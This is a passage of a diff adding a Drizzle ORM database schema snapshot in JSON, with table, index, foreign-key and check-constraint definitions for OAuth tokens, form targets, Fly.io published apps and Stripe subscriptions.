"oauth_device_codes_clientId_oauth_clients_id_fk": { + "name": "oauth_device_codes_clientId_oauth_clients_id_fk", + "tableFrom": "oauth_device_codes", + "tableTo": "oauth_clients", + "columnsFrom": [ + "clientId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "oauth_device_codes_userId_users_id_fk": { + "name": "oauth_device_codes_userId_users_id_fk", + "tableFrom": "oauth_device_codes", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "oauth_device_codes_deviceCodeHash_unique": { + "name": "oauth_device_codes_deviceCodeHash_unique", + "nullsNotDistinct": false, + "columns": [ + "deviceCodeHash" + ] + }, + "oauth_device_codes_userCodeHash_unique": { + "name": "oauth_device_codes_userCodeHash_unique", + "nullsNotDistinct": false, + "columns": [ + "userCodeHash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.oauth_refresh_tokens": { + "name": "oauth_refresh_tokens", + "schema": "", + "columns": { + "authenticatedAt": { + "name": "authenticatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "authenticationAssurance": { + "name": "authenticationAssurance", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "tokenHash": { + "name": "tokenHash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "tokenPrefix": { + "name": "tokenPrefix", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "familyId": { + "name": "familyId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "clientId": { + "name": "clientId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "scopes": { + "name": "scopes", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "tokenVersion": { + "name": "tokenVersion", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "familyExpiresAt": { + "name": "familyExpiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "replacedByTokenId": { + "name": "replacedByTokenId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "revokedAt": { + "name": "revokedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "revokedReason": { + "name": "revokedReason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "oauth_refresh_tokens_family_id_idx": { + "name": "oauth_refresh_tokens_family_id_idx", + "columns": [ + { + "expression": "familyId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "oauth_refresh_tokens_user_id_idx": { + "name": "oauth_refresh_tokens_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "oauth_refresh_tokens_client_id_idx": { + "name": "oauth_refresh_tokens_client_id_idx", + "columns": [ + { + "expression": "clientId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "oauth_refresh_tokens_token_hash_idx": { + "name": "oauth_refresh_tokens_token_hash_idx", + "columns": [ + { + "expression": "tokenHash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "oauth_refresh_tokens_expires_at_idx": { + "name": "oauth_refresh_tokens_expires_at_idx", + "columns": [ + { + "expression": "expiresAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "oauth_refresh_tokens_clientId_oauth_clients_id_fk": { + "name": "oauth_refresh_tokens_clientId_oauth_clients_id_fk", + "tableFrom": "oauth_refresh_tokens", + "tableTo": "oauth_clients", + "columnsFrom": [ + "clientId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "oauth_refresh_tokens_userId_users_id_fk": { + "name": "oauth_refresh_tokens_userId_users_id_fk", + "tableFrom": "oauth_refresh_tokens", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "oauth_refresh_tokens_tokenHash_unique": { + "name": "oauth_refresh_tokens_tokenHash_unique", + "nullsNotDistinct": false, + "columns": [ + "tokenHash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.form_targets": { + "name": "form_targets", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "token_hash": { + "name": "token_hash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "token_prefix": { + "name": "token_prefix", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "drive_id": { + "name": "drive_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "page_id": { + "name": "page_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "action": { + "name": "action", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'sheet:append'" + }, + "canvas_page_id": { + "name": "canvas_page_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "fields": { + "name": "fields", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "header_row": { + "name": "header_row", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 1 + }, + "next_row": { + "name": "next_row", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "notification_email": { + "name": "notification_email", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "status_reason": { + "name": "status_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by": { + "name": "created_by", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "last_submitted_at": { + "name": "last_submitted_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "submission_count": { + "name": "submission_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + } + }, + "indexes": { + "form_targets_page_id_idx": { + "name": "form_targets_page_id_idx", + "columns": [ + { + "expression": "page_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "form_targets_drive_id_idx": { + "name": "form_targets_drive_id_idx", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "form_targets_status_idx": { + "name": "form_targets_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "form_targets_canvas_page_id_idx": { + "name": "form_targets_canvas_page_id_idx", + "columns": [ + { + "expression": "canvas_page_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "form_targets_one_active_per_page_idx": { + "name": "form_targets_one_active_per_page_idx", + "columns": [ + { + "expression": "page_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"form_targets\".\"status\" = 'active'", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "form_targets_drive_id_drives_id_fk": { + "name": "form_targets_drive_id_drives_id_fk", + "tableFrom": "form_targets", + "tableTo": "drives", + "columnsFrom": [ + "drive_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "form_targets_page_id_pages_id_fk": { + "name": "form_targets_page_id_pages_id_fk", + "tableFrom": "form_targets", + "tableTo": "pages", + "columnsFrom": [ + "page_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "form_targets_canvas_page_id_pages_id_fk": { + "name": "form_targets_canvas_page_id_pages_id_fk", + "tableFrom": "form_targets", + "tableTo": "pages", + "columnsFrom": [ + "canvas_page_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "form_targets_created_by_users_id_fk": { + "name": "form_targets_created_by_users_id_fk", + "tableFrom": "form_targets", + "tableTo": "users", + "columnsFrom": [ + "created_by" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "form_targets_token_hash_unique": { + "name": "form_targets_token_hash_unique", + "nullsNotDistinct": false, + "columns": [ + "token_hash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.machine_sprite_reclaims": { + "name": "machine_sprite_reclaims", + "schema": "", + "columns": { + "sandboxId": { + "name": "sandboxId", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "spriteInstanceId": { + "name": "spriteInstanceId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "recordedAt": { + "name": "recordedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "attempts": { + "name": "attempts", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "lastAttemptAt": { + "name": "lastAttemptAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "lastError": { + "name": "lastError", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "machine_sprite_reclaims_recorded_at_idx": { + "name": "machine_sprite_reclaims_recorded_at_idx", + "columns": [ + { + "expression": "recordedAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.app_deploy_token_mints": { + "name": "app_deploy_token_mints", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "publishedAppId": { + "name": "publishedAppId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "flyAppName": { + "name": "flyAppName", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "mintedAt": { + "name": "mintedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "outcome": { + "name": "outcome", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "settledAt": { + "name": "settledAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "expiry": { + "name": "expiry", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "purpose": { + "name": "purpose", + "type": "text", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "app_deploy_token_mints_app_idx": { + "name": "app_deploy_token_mints_app_idx", + "columns": [ + { + "expression": "publishedAppId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "mintedAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "app_deploy_token_mints_publishedAppId_published_apps_id_fk": { + "name": "app_deploy_token_mints_publishedAppId_published_apps_id_fk", + "tableFrom": "app_deploy_token_mints", + "tableTo": "published_apps", + "columnsFrom": [ + "publishedAppId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "app_deploy_token_mints_expiry_nonempty": { + "name": "app_deploy_token_mints_expiry_nonempty", + "value": "length(\"app_deploy_token_mints\".\"expiry\") > 0" + }, + "app_deploy_token_mints_purpose_nonempty": { + "name": "app_deploy_token_mints_purpose_nonempty", + "value": "length(\"app_deploy_token_mints\".\"purpose\") > 0" + }, + "app_deploy_token_mints_outcome_allowed": { + "name": "app_deploy_token_mints_outcome_allowed", + "value": "\"app_deploy_token_mints\".\"outcome\" IN ('pending', 'minted', 'failed')" + }, + "app_deploy_token_mints_settled_coherent": { + "name": "app_deploy_token_mints_settled_coherent", + "value": "(\"app_deploy_token_mints\".\"outcome\" = 'pending') = (\"app_deploy_token_mints\".\"settledAt\" IS NULL)" + } + }, + "isRLSEnabled": false + }, + "public.app_hosting_reclaims": { + "name": "app_hosting_reclaims", + "schema": "", + "columns": { + "flyAppName": { + "name": "flyAppName", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "publishedAppId": { + "name": "publishedAppId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "machineId": { + "name": "machineId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "recordedAt": { + "name": "recordedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "attempts": { + "name": "attempts", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "lastAttemptAt": { + "name": "lastAttemptAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "lastError": { + "name": "lastError", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "app_hosting_reclaims_recorded_at_idx": { + "name": "app_hosting_reclaims_recorded_at_idx", + "columns": [ + { + "expression": "recordedAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "app_hosting_reclaims_attempts_nonneg": { + "name": "app_hosting_reclaims_attempts_nonneg", + "value": "\"app_hosting_reclaims\".\"attempts\" >= 0" + } + }, + "isRLSEnabled": false + }, + "public.published_app_machine_events": { + "name": "published_app_machine_events", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "publishedAppId": { + "name": "publishedAppId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "flyAppName": { + "name": "flyAppName", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "machineId": { + "name": "machineId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "origin": { + "name": "origin", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "action": { + "name": "action", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "flyEventId": { + "name": "flyEventId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "flyEventType": { + "name": "flyEventType", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "flyEventStatus": { + "name": "flyEventStatus", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "occurredAt": { + "name": "occurredAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "recordedAt": { + "name": "recordedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "published_app_machine_events_app_idx": { + "name": "published_app_machine_events_app_idx", + "columns": [ + { + "expression": "publishedAppId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "occurredAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "published_app_machine_events_fly_event_unique": { + "name": "published_app_machine_events_fly_event_unique", + "columns": [ + { + "expression": "machineId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "flyEventId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"flyEventId\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "published_app_machine_events_publishedAppId_published_apps_id_fk": { + "name": "published_app_machine_events_publishedAppId_published_apps_id_fk", + "tableFrom": "published_app_machine_events", + "tableTo": "published_apps", + "columnsFrom": [ + "publishedAppId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "published_app_machine_events_origin_allowed": { + "name": "published_app_machine_events_origin_allowed", + "value": "\"published_app_machine_events\".\"origin\" IN ('orchestrator', 'fly')" + }, + "published_app_machine_events_action_allowed": { + "name": "published_app_machine_events_action_allowed", + "value": "\"published_app_machine_events\".\"action\" IN ('start', 'stop')" + }, + "published_app_machine_events_fly_event_id_coherent": { + "name": "published_app_machine_events_fly_event_id_coherent", + "value": "(\"published_app_machine_events\".\"origin\" = 'fly') = (\"published_app_machine_events\".\"flyEventId\" IS NOT NULL)" + } + }, + "isRLSEnabled": false + }, + "public.published_apps": { + "name": "published_apps", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "envId": { + "name": "envId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "ownerId": { + "name": "ownerId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "costOwnerId": { + "name": "costOwnerId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "flyAppName": { + "name": "flyAppName", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "networkName": { + "name": "networkName", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "subdomain": { + "name": "subdomain", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "published_app_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'provisioning'" + }, + "guestPreset": { + "name": "guestPreset", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'shared-cpu-1x-512'" + }, + "imageDigest": { + "name": "imageDigest", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "imageSizeBytes": { + "name": "imageSizeBytes", + "type": "bigint", + "primaryKey": false, + "notNull": false + }, + "imageSizeMeasuredAt": { + "name": "imageSizeMeasuredAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "tier": { + "name": "tier", + "type": "published_app_tier", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'metered'" + }, + "machineId": { + "name": "machineId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "lastWakeAt": { + "name": "lastWakeAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "lastStopAt": { + "name": "lastStopAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "lastHitAt": { + "name": "lastHitAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "awakeSecondsDay": { + "name": "awakeSecondsDay", + "type": "date", + "primaryKey": false, + "notNull": false + }, + "awakeSecondsToday": { + "name": "awakeSecondsToday", + "type": "double precision", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "awakeBilledThrough": { + "name": "awakeBilledThrough", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "awakeHoldId": { + "name": "awakeHoldId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "storageLastBilledAt": { + "name": "storageLastBilledAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "lastError": { + "name": "lastError", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "claimedAt": { + "name": "claimedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "claimedBy": { + "name": "claimedBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "published_apps_drive_idx": { + "name": "published_apps_drive_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "published_apps_owner_idx": { + "name": "published_apps_owner_idx", + "columns": [ + { + "expression": "ownerId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "published_apps_cost_owner_idx": { + "name": "published_apps_cost_owner_idx", + "columns": [ + { + "expression": "costOwnerId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "published_apps_status_idx": { + "name": "published_apps_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "updatedAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "published_apps_idle_idx": { + "name": "published_apps_idle_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "lastHitAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "published_apps_envId_drive_envs_id_fk": { + "name": "published_apps_envId_drive_envs_id_fk", + "tableFrom": "published_apps", + "tableTo": "drive_envs", + "columnsFrom": [ + "envId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "published_apps_driveId_drives_id_fk": { + "name": "published_apps_driveId_drives_id_fk", + "tableFrom": "published_apps", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "published_apps_ownerId_users_id_fk": { + "name": "published_apps_ownerId_users_id_fk", + "tableFrom": "published_apps", + "tableTo": "users", + "columnsFrom": [ + "ownerId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "published_apps_costOwnerId_users_id_fk": { + "name": "published_apps_costOwnerId_users_id_fk", + "tableFrom": "published_apps", + "tableTo": "users", + "columnsFrom": [ + "costOwnerId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "published_apps_envId_unique": { + "name": "published_apps_envId_unique", + "nullsNotDistinct": false, + "columns": [ + "envId" + ] + }, + "published_apps_flyAppName_unique": { + "name": "published_apps_flyAppName_unique", + "nullsNotDistinct": false, + "columns": [ + "flyAppName" + ] + }, + "published_apps_subdomain_unique": { + "name": "published_apps_subdomain_unique", + "nullsNotDistinct": false, + "columns": [ + "subdomain" + ] + } + }, + "policies": {}, + "checkConstraints": { + "published_apps_serving_requires_image": { + "name": "published_apps_serving_requires_image", + "value": "\"published_apps\".\"status\" NOT IN ('running', 'deploying') OR \"published_apps\".\"imageDigest\" IS NOT NULL" + }, + "published_apps_running_requires_machine": { + "name": "published_apps_running_requires_machine", + "value": "\"published_apps\".\"status\" <> 'running' OR \"published_apps\".\"machineId\" IS NOT NULL" + }, + "published_apps_parked_is_metered_only": { + "name": "published_apps_parked_is_metered_only", + "value": "\"published_apps\".\"status\" <> 'parked' OR \"published_apps\".\"tier\" = 'metered'" + }, + "published_apps_guest_preset_allowed": { + "name": "published_apps_guest_preset_allowed", + "value": "\"published_apps\".\"guestPreset\" IN ('shared-cpu-1x-512', 'shared-cpu-1x-1024', 'shared-cpu-2x-2048', 'shared-cpu-4x-4096')" + }, + "published_apps_metered_guest_preset": { + "name": "published_apps_metered_guest_preset", + "value": "\"published_apps\".\"tier\" <> 'metered' OR \"published_apps\".\"guestPreset\" = 'shared-cpu-1x-512'" + }, + "published_apps_image_size_nonneg": { + "name": "published_apps_image_size_nonneg", + "value": "\"published_apps\".\"imageSizeBytes\" IS NULL OR \"published_apps\".\"imageSizeBytes\" >= 0" + }, + "published_apps_subdomain_nonempty": { + "name": "published_apps_subdomain_nonempty", + "value": "length(\"published_apps\".\"subdomain\") > 0" + }, + "published_apps_claim_coherent": { + "name": "published_apps_claim_coherent", + "value": "(\"published_apps\".\"claimedAt\" IS NULL) = (\"published_apps\".\"claimedBy\" IS NULL)" + }, + "published_apps_image_size_measured_coherent": { + "name": "published_apps_image_size_measured_coherent", + "value": "(\"published_apps\".\"imageSizeBytes\" IS NULL) = (\"published_apps\".\"imageSizeMeasuredAt\" IS NULL)" + }, + "published_apps_awake_seconds_today_nonneg": { + "name": "published_apps_awake_seconds_today_nonneg", + "value": "\"published_apps\".\"awakeSecondsToday\" >= 0" + }, + "published_apps_awake_counter_needs_day": { + "name": "published_apps_awake_counter_needs_day", + "value": "\"published_apps\".\"awakeSecondsDay\" IS NOT NULL OR \"published_apps\".\"awakeSecondsToday\" = 0" + }, + "published_apps_awake_window_needs_wake": { + "name": "published_apps_awake_window_needs_wake", + "value": "\"published_apps\".\"awakeBilledThrough\" IS NULL OR \"published_apps\".\"lastWakeAt\" IS NOT NULL" + } + }, + "isRLSEnabled": false + }, + "public.published_app_subscriptions": { + "name": "published_app_subscriptions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "publishedAppId": { + "name": "publishedAppId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "orgId": { + "name": "orgId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "stripeSubscriptionId": { + "name": "stripeSubscriptionId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "stripePriceId": { + "name": "stripePriceId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "guestPreset": { + "name": "guestPreset", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "stripeEventCreated": { + "name": "stripeEventCreated", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "currentPeriodStart": { + "name": "currentPeriodStart", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "currentPeriodEnd": { + "name": "currentPeriodEnd", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "cancelAtPeriodEnd": { + "name": "cancelAtPeriodEnd", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "published_app_subscriptions_user_idx": { + "name": "published_app_subscriptions_user_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "published_app_subscriptions_org_idx": { + "name": "published_app_subscriptions_org_idx", + "columns": [ + { + "expression": "orgId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "published_app_subscriptions_stripe_subscription_idx": { + "name": "published_app_subscriptions_stripe_subscription_idx", + "columns": [ + { + "expression": "stripeSubscriptionId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "published_app_subscriptions_publishedAppId_published_apps_id_fk": { + "name": "published_app_subscriptions_publishedAppId_published_apps_id_fk", + "tableFrom": "published_app_subscriptions", + "tableTo": "published_apps", + "columnsFrom": [ + "publishedAppId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "published_app_subscriptions_userId_users_id_fk": { + "name": "published_app_subscriptions_userId_users_id_fk", + "tableFrom": "published_app_subscriptions", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "published_app_subscriptions_orgId_organizations_id_fk": { + "name": "published_app_subscriptions_orgId_organizations_id_fk", + "tableFrom": "published_app_subscriptions", + "tableTo": "organizations", + "columnsFrom": [ + "orgId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "published_app_subscriptions_publishedAppId_unique": { + "name": "published_app_subscriptions_publishedAppId_unique", + "nullsNotDistinct": false, + "columns": [ + "publishedAppId" + ] + }, + "published_app_subscriptions_stripeSubscriptionId_unique": { + "name": "published_app_subscriptions_stripeSubscriptionId_unique", + "nullsNotDistinct": false, + "columns": [ + "stripeSubscriptionId" + ] + } + }, + "policies": {}, + "checkConstraints": { + "published_app_subscriptions_status_nonempty": { + "name": "published_app_subscriptions_status_nonempty", + "value": "length(\"published_app_subscriptions\".\"status\") > 0" + }, + "published_app_subscriptions_period_ordered": { + "name": "published_app_subscriptions_period_ordered", + "value": "\"published_app_subscriptions\".\"currentPeriodEnd\" >= \"published_app_subscriptions\".\"currentPeriodStart\"" + } + }, + "isRLSEnabled": false + }, + "public.app_hosting_stripe_reclaims": { + "name": "app_hosting_stripe_reclaims", + "schema": "", + "columns": { + "stripeSubscriptionId": { + "name": "stripeSubscriptionId", + "type": "text", + "primaryKey": true, + "notNull": true + }, + 